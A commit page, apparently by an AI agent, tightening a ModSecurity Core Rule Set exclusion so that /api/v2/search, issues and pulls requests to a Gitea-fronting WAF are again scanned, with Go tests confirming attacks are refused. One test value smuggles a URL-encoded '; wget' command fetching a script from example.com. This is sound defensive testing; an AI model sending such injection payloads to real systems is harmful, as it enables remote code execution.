Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Successful in 7m49s

Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5
This commit was merged in pull request #269.
This commit is contained in:
clawbot committed 2026-11-10 03:26:14 +01:00
1 parent 922fe0cf71
commit 56d6a12cc2
2 files changed
+54 -30

No files matched your search

+19
View File
@@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
}
}
}
// gitea has no owner named api, so these are not a repository's search,
// issues or pull requests. /api/v2/search is Mastodon's search.
for _, path := range []string{
"/api/v2/search",
"/api/v2/issues",
"/api/v2/pulls",
} {
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := path + "?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
}
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
+35 -30
View File
@@ -35,41 +35,46 @@
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
# gitea has no owner named api. A repository's search, issues, pull requests and
# commit search with that owner get none of this. /api/v2/search, for example,
# is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
"id:900600,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then: